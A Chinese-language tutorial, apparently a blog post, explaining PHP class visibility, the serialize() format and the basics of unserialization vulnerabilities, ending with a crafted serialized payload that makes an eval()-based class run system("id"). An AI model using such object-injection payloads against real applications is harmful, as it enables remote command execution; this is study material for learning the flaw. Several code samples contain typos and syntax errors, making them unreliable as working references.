序列化与反序列化学习

1.前期知识:

php 复制代码
<?php
    class 类名{
        $name;    #定义变量成员1
        $sex;     #变量成员2
       function jinne($vat){          #定义一个函数  
            cheo $this->name;          #在类中调用变量成员1
         }
    }
?>

将其实例化才能输出

php 复制代码
<?php
class hero{
    var $name;     
    var $sex';                           
    function jinne($var1) {
        echo $this->name;
    }
}
$bb = new hero();    #实例化,并赋值给$bb
echo $bb->name = 'pika';      #在外部调用类的name并赋值为pika
echo $bb->sex = 'man';       #在外部调用类的sex并赋值为man
?>
成员变量区分公有,私有以及子类公有非子类私有

|-----------|----------------------------|
| public | 公有,即无论哪都能调用成员变量 |
| private | 私有,即只能在类的内部调用,出了类就不能调用 |
| protected | 子类公有非子类私有,只能在类的内部还在子类的内部调用 |

php 复制代码
<?php
class hero{
    public  $name='kaka';            #这是公有
    private  $sex='man';                    #这是私有
    protected  $phone='165';              #这是子类公有,非子类私有
    function jineng($var1) {
        echo $this->name;
        echo $var1;
    }
}
$bb = new hero();
echo $bb->name;
echo $bb->sex;
echo $bb->phone;
?>

执行后可以看到,name可以在外部调用,但sex和phone都不显示而且报错。

php 复制代码
<?php
class hero{
    public  $name='kaka';
    private  $sex='man';
    protected  $phone='165';
    function jineng($var1) {
        echo $this->name;
    }
}
class hero2 extends hero{
    function test(){
        echo $this->name;
        echo $this->sex;
        echo $this->phone;
    }
}
$bb= new hero();
$cc=new hero2();
echo $bb->name."</>";
echo $cc->test();
echo $cc->phone();
?>

可以看到,外类可以调用类中的公有成员,但其他成员调用不了,而外类通过子类的函数可以调用public的成员以及protected成员,说明private只有hero自己可以调用,其他人不行。protected可以允许通过子类hero2调用类,但外部调用不行。

2.序列化

是指将上面所学的代码转换为一个字符串,方便存储。

序列化的格式:

主要看字符串: s:长度:字符串;

|-----|------------|-------------|
| 描述 | 序列化前 | 序列化后 |
| 空字符 | null | N; |
| 整型 | 666 | i:666; |
| 浮点型 | 66.6 | d:66.6; |
| 布尔 | true false | b:1; b:0; |
| 字符串 | "pika" | s:4:"pika"; |

示例:
php 复制代码
<?php
class test{
    public $pub='pika';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);  #序列化test这个类
?>

序列化后如下图:首先O代表是一个对象,后面的4代表有4个字符,test是对象的名字即类名。紧接着跟着个1代表对象有1个变量,后面括号括的就是变量,首先变量是字符串类型,有3个字符,叫pub,他的值也是一个字符串类型,有4个字符叫pika。

序列化后public与protected以及private的不同

首先public是正常的序列化描述。如上面略

而private则是会在变量前后加上空格然后在变量名前加上类名,因此序列化后就会格式=%00+类名+%00+变量名,而且他的个数也要加上所以一共有1+4+1+3.

php 复制代码
<?php
class test{
    private $pub='pika';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>

protected也是差不多,但与private不同的是他会将类名变为*,其他都一样,个数为1+1+1+3=6

php 复制代码
<?php
class test{
    protected $pub='pika';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
存在两个或者多个O解析:

如图:首先一个对象里有一个test2,它的成员是ben,但ben的值是也是一个对象,说明ben的值是一个实例化的对象(即new test()),因此它是一个新的对象,test它的成员有1个叫pub,pub的值是pika。

php 复制代码
<?php
class test{
    var $pub='pika';
    function jineng(){
        echo $this->pub;
    }
}
class test2{
    var $ben;
    function __construct(){
        $this->ben=new test();
    }
}
$a = new test2();
echo serialize($a);
?>

##不使用魔法函数__construct的方法
<?php
class test{
    var $pub='pika';
    function jineng(){
        echo $this->pub;
    }
}
class test2{
    var $ben;
}
$a = new test();
$b = new test2();
$b->ben = $a;
echo serialize($b);
?>

3.反序列化

反序列化就是将序列化后的字符串转换为对象。反序列化不触发类成员,反序列化的值与对象里的值没关系,而且反序列的值只与反序列化的值有关系。

示例:

首先为了直观学习,先生成一个序列化。

php 复制代码
<?php
highlight_file(__FILE__);
class test {
    public  $a = 'benben';
    protected  $b = 666;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}
$d = new test();        #实例
$d = serialize($d);     #将其序列化
echo $d;

O:4:"test":3:{s:1:"a";s:6:"benben";s:4:" * b";i:666;s:7:" test c";b:0;}

现在开始反序列化,知道序列化的值进行反序列化
php 复制代码
<?php
#一个反序列
$a = 'O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"%00*%00b";i:666;s:7:" test c";b:0;}';
#进行url编码
$b = urldecode($a);
#反序列化
$c = unserialize($b);
#输出反序列化
var_dump($c);
?>
然后根据反序列的值只与序列化的值相关,不要类的值相关(漏洞的前提知识)。

因此修改序列化的值为hacke,输出的结果也改变了,这也是反序列化的漏洞前提知识。

php 复制代码
<?php
$d = 'O:4:"test":3:{s:1:"a";s:5:"hacke";s:4:"%00*%00b";i:666;s:7:" test c";b:0;}';
$e = urldecode($d);
$f = unserialize($e);
var_dump($f);
?>

再提一个调用类里的函数。

已经修改了序列化的参数,然后进行编码并反序列化,现在需要调用类里的函数。

需要调用类里的函数就要代码中有这个类的函数如下代码。通过这个代码就能利用displauVar函数执行test类中的a,而且a的值是反序列化的值。

php 复制代码
<?php
class test {
    public  $a = 'benben';
    protected  $b = 666;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}

$d = 'O:4:"test":3:{s:1:"a";s:5:"hacke";s:4:"%00*%00b";i:666;s:7:" test c";b:0;}';
$e = urldecode($d);
$f = unserialize($e);
$f->displayVar();
?>

4.反序列化的普通利用漏洞

要已知存在反序列漏洞,然后将其源码复制,构造。

先复制其源码,然后进行解析构造,未修改时的序列化代码。

但这只是源来的序列化现在修改为需要的序列化。

php 复制代码
<?php
error_reporting(0);
class test{
    public $a = 'system("id");';
    public function displayVar() {
        eval($this->a);
    }
}
$a = new test();
$b = serialize($a);
var_dump($b);
?>

得到序列化结果:O:4:"test":1:{s:1:"a";s:13:"system("id");";}

最后分析源来的代码可以知道是通过GET的benben参数来获取字符串,然后再进行反序列化,最后在调用类函数。因此。

先在php环境中测试一下,是成功的

因为id执行不出来所以换了cd

这就是反序列的普通利用。

持续更新ing

相关推荐
几何心凉几秒前
AI时代结合Haystack实现自定义数据抓取工具
开发语言
csbysj202012 分钟前
JSP 文件上传详解
开发语言
郝学胜-神的一滴15 分钟前
FastAPI:Python 高性能 Web 框架的优雅之选
开发语言·前端·数据结构·python·算法·fastapi
柒.梧.26 分钟前
Java位运算详解:原理、用法及实战场景(面试重点)
开发语言·数据库·python
游乐码31 分钟前
c#万物之父装箱拆箱
开发语言·c#
CDwenhuohuo39 分钟前
var面试题
开发语言·javascript·ecmascript
PD我是你的真爱粉40 分钟前
深入理解 Event Loop:JavaScript 的“心脏起搏器”
开发语言·javascript·ecmascript
牢七1 小时前
反序列化重点模块 private Object readOrdinaryObject(boolean unshared)废案与反思
java·服务器·前端
GIS程序猿1 小时前
批量出图工具,如何使用C#实现动态文本
开发语言·arcgis·c#·arcgis插件·gis二次开发
量子物理学1 小时前
三、C#高级进阶语法——特性(Attribute)
java·算法·c#